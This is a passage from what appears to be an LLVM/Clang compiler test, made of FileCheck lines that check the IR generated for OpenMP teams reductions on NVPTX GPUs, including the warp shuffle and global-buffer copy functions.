@__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK2-NEXT: [[TMP3:%.*]] = load double, double* [[TMP0]], align 8 // CHECK2-NEXT: store double [[TMP3]], double* [[E1]], align 8 // CHECK2-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP2]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK2-NEXT: call void @__omp_outlined__(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], double* [[E1]]) #[[ATTR3:[0-9]+]] // CHECK2-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 1, i1 true) // CHECK2-NEXT: ret void // CHECK2: worker.exit: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@__omp_outlined__ // CHECK2-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], double* nonnull align 8 dereferenceable(8) [[E:%.*]]) #[[ATTR0]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK2-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK2-NEXT: [[E_ADDR:%.*]] = alloca double*, align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK2-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK2-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK2-NEXT: store double* [[E]], double** [[E_ADDR]], align 4 // CHECK2-NEXT: [[TMP0:%.*]] = load double*, double** [[E_ADDR]], align 4 // CHECK2-NEXT: [[E1:%.*]] = call i8* @__kmpc_alloc_shared(i32 8) // CHECK2-NEXT: [[E_ON_STACK:%.*]] = bitcast i8* [[E1]] to double* // CHECK2-NEXT: store double 0.000000e+00, double* [[E_ON_STACK]], align 8 // CHECK2-NEXT: [[TMP1:%.*]] = load double, double* [[E_ON_STACK]], align 8 // CHECK2-NEXT: [[ADD:%.*]] = fadd double [[TMP1]], 5.000000e+00 // CHECK2-NEXT: store double [[ADD]], double* [[E_ON_STACK]], align 8 // CHECK2-NEXT: [[TMP2:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i32, i32* [[TMP2]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[TMP5:%.*]] = bitcast double* [[E_ON_STACK]] to i8* // CHECK2-NEXT: store i8* [[TMP5]], i8** [[TMP4]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK2-NEXT: [[TMP7:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK2-NEXT: [[TMP8:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB1]], i32 [[TMP3]], i8* [[TMP7]], i32 1024, i8* [[TMP6]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func) // CHECK2-NEXT: [[TMP9:%.*]] = icmp eq i32 [[TMP8]], 1 // CHECK2-NEXT: br i1 [[TMP9]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK2: .omp.reduction.then: // CHECK2-NEXT: [[TMP10:%.*]] = load double, double* [[TMP0]], align 8 // CHECK2-NEXT: [[TMP11:%.*]] = load double, double* [[E_ON_STACK]], align 8 // CHECK2-NEXT: [[ADD2:%.*]] = fadd double [[TMP10]], [[TMP11]] // CHECK2-NEXT: store double [[ADD2]], double* [[TMP0]], align 8 // CHECK2-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP3]]) // CHECK2-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK2: .omp.reduction.done: // CHECK2-NEXT: call void @__kmpc_free_shared(i8* [[E1]], i32 8) // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func // CHECK2-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR2:[0-9]+]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca double, align 8 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK2-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK2-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK2-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [1 x i8*]* // CHECK2-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK2-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK2-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK2-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK2-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK2-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to double* // CHECK2-NEXT: [[TMP13:%.*]] = getelementptr double, double* [[TMP12]], i32 1 // CHECK2-NEXT: [[TMP14:%.*]] = bitcast double* [[TMP13]] to i8* // CHECK2-NEXT: [[TMP15:%.*]] = bitcast double* [[TMP12]] to i64* // CHECK2-NEXT: [[TMP16:%.*]] = bitcast double* [[DOTOMP_REDUCTION_ELEMENT]] to i64* // CHECK2-NEXT: [[TMP17:%.*]] = load i64, i64* [[TMP15]], align 8 // CHECK2-NEXT: [[TMP18:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK2-NEXT: [[TMP19:%.*]] = trunc i32 [[TMP18]] to i16 // CHECK2-NEXT: [[TMP20:%.*]] = call i64 @__kmpc_shuffle_int64(i64 [[TMP17]], i16 [[TMP7]], i16 [[TMP19]]) // CHECK2-NEXT: store i64 [[TMP20]], i64* [[TMP16]], align 8 // CHECK2-NEXT: [[TMP21:%.*]] = getelementptr i64, i64* [[TMP15]], i32 1 // CHECK2-NEXT: [[TMP22:%.*]] = getelementptr i64, i64* [[TMP16]], i32 1 // CHECK2-NEXT: [[TMP23:%.*]] = bitcast double* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK2-NEXT: store i8* [[TMP23]], i8** [[TMP11]], align 4 // CHECK2-NEXT: [[TMP24:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK2-NEXT: [[TMP25:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK2-NEXT: [[TMP26:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK2-NEXT: [[TMP27:%.*]] = and i1 [[TMP25]], [[TMP26]] // CHECK2-NEXT: [[TMP28:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK2-NEXT: [[TMP29:%.*]] = and i16 [[TMP6]], 1 // CHECK2-NEXT: [[TMP30:%.*]] = icmp eq i16 [[TMP29]], 0 // CHECK2-NEXT: [[TMP31:%.*]] = and i1 [[TMP28]], [[TMP30]] // CHECK2-NEXT: [[TMP32:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK2-NEXT: [[TMP33:%.*]] = and i1 [[TMP31]], [[TMP32]] // CHECK2-NEXT: [[TMP34:%.*]] = or i1 [[TMP24]], [[TMP27]] // CHECK2-NEXT: [[TMP35:%.*]] = or i1 [[TMP34]], [[TMP33]] // CHECK2-NEXT: br i1 [[TMP35]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK2: then: // CHECK2-NEXT: [[TMP36:%.*]] = bitcast [1 x i8*]* [[TMP5]] to i8* // CHECK2-NEXT: [[TMP37:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK2-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP36]], i8* [[TMP37]]) #[[ATTR3]] // CHECK2-NEXT: br label [[IFCONT:%.*]] // CHECK2: else: // CHECK2-NEXT: br label [[IFCONT]] // CHECK2: ifcont: // CHECK2-NEXT: [[TMP38:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK2-NEXT: [[TMP39:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK2-NEXT: [[TMP40:%.*]] = and i1 [[TMP38]], [[TMP39]] // CHECK2-NEXT: br i1 [[TMP40]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK2: then4: // CHECK2-NEXT: [[TMP41:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[TMP42:%.*]] = load i8*, i8** [[TMP41]], align 4 // CHECK2-NEXT: [[TMP43:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK2-NEXT: [[TMP44:%.*]] = load i8*, i8** [[TMP43]], align 4 // CHECK2-NEXT: [[TMP45:%.*]] = bitcast i8* [[TMP42]] to double* // CHECK2-NEXT: [[TMP46:%.*]] = bitcast i8* [[TMP44]] to double* // CHECK2-NEXT: [[TMP47:%.*]] = load double, double* [[TMP45]], align 8 // CHECK2-NEXT: store double [[TMP47]], double* [[TMP46]], align 8 // CHECK2-NEXT: br label [[IFCONT6:%.*]] // CHECK2: else5: // CHECK2-NEXT: br label [[IFCONT6]] // CHECK2: ifcont6: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTCNT_ADDR:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK2-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK2-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[TMP4]], 31 // CHECK2-NEXT: [[TMP5:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK2-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[TMP5]], 5 // CHECK2-NEXT: [[TMP6:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to [1 x i8*]* // CHECK2-NEXT: store i32 0, i32* [[DOTCNT_ADDR]], align 4 // CHECK2-NEXT: br label [[PRECOND:%.*]] // CHECK2: precond: // CHECK2-NEXT: [[TMP8:%.*]] = load i32, i32* [[DOTCNT_ADDR]], align 4 // CHECK2-NEXT: [[TMP9:%.*]] = icmp ult i32 [[TMP8]], 2 // CHECK2-NEXT: br i1 [[TMP9]], label [[BODY:%.*]], label [[EXIT:%.*]] // CHECK2: body: // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2:[0-9]+]], i32 [[TMP2]]) // CHECK2-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK2-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK2: then: // CHECK2-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK2-NEXT: [[TMP11:%.*]] = load i8*, i8** [[TMP10]], align 4 // CHECK2-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP11]] to i32* // CHECK2-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 [[TMP8]] // CHECK2-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK2-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP13]], align 4 // CHECK2-NEXT: store volatile i32 [[TMP15]], i32 addrspace(3)* [[TMP14]], align 4 // CHECK2-NEXT: br label [[IFCONT:%.*]] // CHECK2: else: // CHECK2-NEXT: br label [[IFCONT]] // CHECK2: ifcont: // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK2-NEXT: [[TMP16:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[TMP3]], [[TMP16]] // CHECK2-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN2:%.*]], label [[ELSE3:%.*]] // CHECK2: then2: // CHECK2-NEXT: [[TMP17:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK2-NEXT: [[TMP18:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK2-NEXT: [[TMP19:%.*]] = load i8*, i8** [[TMP18]], align 4 // CHECK2-NEXT: [[TMP20:%.*]] = bitcast i8* [[TMP19]] to i32* // CHECK2-NEXT: [[TMP21:%.*]] = getelementptr i32, i32* [[TMP20]], i32 [[TMP8]] // CHECK2-NEXT: [[TMP22:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP17]], align 4 // CHECK2-NEXT: store i32 [[TMP22]], i32* [[TMP21]], align 4 // CHECK2-NEXT: br label [[IFCONT4:%.*]] // CHECK2: else3: // CHECK2-NEXT: br label [[IFCONT4]] // CHECK2: ifcont4: // CHECK2-NEXT: [[TMP23:%.*]] = add nsw i32 [[TMP8]], 1 // CHECK2-NEXT: store i32 [[TMP23]], i32* [[DOTCNT_ADDR]], align 4 // CHECK2-NEXT: br label [[PRECOND]] // CHECK2: exit: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK2-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty* // CHECK2-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP8:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK2-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK2-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to double* // CHECK2-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP6]], i32 0, i32 0 // CHECK2-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1024 x double], [1024 x double]* [[E]], i32 0, i32 [[TMP7]] // CHECK2-NEXT: [[TMP12:%.*]] = load double, double* [[TMP10]], align 8 // CHECK2-NEXT: store double [[TMP12]], double* [[TMP11]], align 128 // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty* // CHECK2-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP4]], i32 0, i32 0 // CHECK2-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x double], [1024 x double]* [[E]], i32 0, i32 [[TMP5]] // CHECK2-NEXT: [[TMP8:%.*]] = bitcast double* [[TMP7]] to i8* // CHECK2-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK2-NEXT: [[TMP9:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK2-NEXT: [[TMP10:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP9]], i8* [[TMP10]]) #[[ATTR3]] // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK2-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty* // CHECK2-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP8:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK2-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK2-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to double* // CHECK2-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP6]], i32 0, i32 0 // CHECK2-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1024 x double], [1024 x double]* [[E]], i32 0, i32 [[TMP7]] // CHECK2-NEXT: [[TMP12:%.*]] = load double, double* [[TMP11]], align 128 // CHECK2-NEXT: store double [[TMP12]], double* [[TMP10]], align 8 // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty* // CHECK2-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP4]], i32 0, i32 0 // CHECK2-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x double], [1024 x double]* [[E]], i32 0, i32 [[TMP5]] // CHECK2-NEXT: [[TMP8:%.*]] = bitcast double* [[TMP7]] to i8* // CHECK2-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK2-NEXT: [[TMP9:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK2-NEXT: [[TMP10:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP10]], i8* [[TMP9]]) #[[ATTR3]] // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l26 // CHECK2-SAME: (i32 [[C:%.*]], i32 [[D:%.*]]) #[[ATTR0]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[C_ADDR:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[D_ADDR:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK2-NEXT: store i32 [[C]], i32* [[C_ADDR]], align 4 // CHECK2-NEXT: store i32 [[D]], i32* [[D_ADDR]], align 4 // CHECK2-NEXT: [[CONV:%.*]] = bitcast i32* [[C_ADDR]] to i8* // CHECK2-NEXT: [[CONV1:%.*]] = bitcast i32* [[D_ADDR]] to float* // CHECK2-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1]], i8 1, i1 true, i1 true) // CHECK2-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1 // CHECK2-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]] // CHECK2: user_code.entry: // CHECK2-NEXT: [[TMP1:%.*]] = load i8, i8* [[CONV]], align 1 // CHECK2-NEXT: [[C2:%.*]] = call i8* @__kmpc_alloc_shared(i32 1) // CHECK2-NEXT: store i8 [[TMP1]], i8* [[C2]], align 1 // CHECK2-NEXT: [[TMP2:%.*]] = load float, float* [[CONV1]], align 4 // CHECK2-NEXT: [[D3:%.*]] = call i8* @__kmpc_alloc_shared(i32 4) // CHECK2-NEXT: [[D_ON_STACK:%.*]] = bitcast i8* [[D3]] to float* // CHECK2-NEXT: store float [[TMP2]], float* [[D_ON_STACK]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK2-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP3]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK2-NEXT: call void @__omp_outlined__1(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], i8* [[C2]], float* [[D_ON_STACK]]) #[[ATTR3]] // CHECK2-NEXT: call void @__kmpc_free_shared(i8* [[D3]], i32 4) // CHECK2-NEXT: call void @__kmpc_free_shared(i8* [[C2]], i32 1) // CHECK2-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 1, i1 true) // CHECK2-NEXT: ret void // CHECK2: worker.exit: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@__omp_outlined__1 // CHECK2-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i8* nonnull align 1 dereferenceable(1) [[C:%.*]], float* nonnull align 4 dereferenceable(4) [[D:%.*]]) #[[ATTR0]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK2-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK2-NEXT: [[C_ADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[D_ADDR:%.*]] = alloca float*, align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK2-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK2-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK2-NEXT: store i8* [[C]], i8** [[C_ADDR]], align 4 // CHECK2-NEXT: store float* [[D]], float** [[D_ADDR]], align 4 // CHECK2-NEXT: [[TMP0:%.*]] = load i8*, i8** [[C_ADDR]], align 4 // CHECK2-NEXT: [[TMP1:%.*]] = load float*, float** [[D_ADDR]], align 4 // CHECK2-NEXT: [[C1:%.*]] = call i8* @__kmpc_alloc_shared(i32 1) // CHECK2-NEXT: [[D2:%.*]] = call i8* @__kmpc_alloc_shared(i32 4) // CHECK2-NEXT: [[D_ON_STACK:%.*]] = bitcast i8* [[D2]] to float* // CHECK2-NEXT: store i8 0, i8* [[C1]], align 1 // CHECK2-NEXT: store float 1.000000e+00, float* [[D_ON_STACK]], align 4 // CHECK2-NEXT: [[TMP2:%.*]] = load i8, i8* [[C1]], align 1 // CHECK2-NEXT: [[CONV:%.*]] = sext i8 [[TMP2]] to i32 // CHECK2-NEXT: [[XOR:%.*]] = xor i32 [[CONV]], 2 // CHECK2-NEXT: [[CONV3:%.*]] = trunc i32 [[XOR]] to i8 // CHECK2-NEXT: store i8 [[CONV3]], i8* [[C1]], align 1 // CHECK2-NEXT: [[TMP3:%.*]] = load float, float* [[D_ON_STACK]], align 4 // CHECK2-NEXT: [[MUL:%.*]] = fmul float [[TMP3]], 3.300000e+01 // CHECK2-NEXT: store float [[MUL]], float* [[D_ON_STACK]], align 4 // 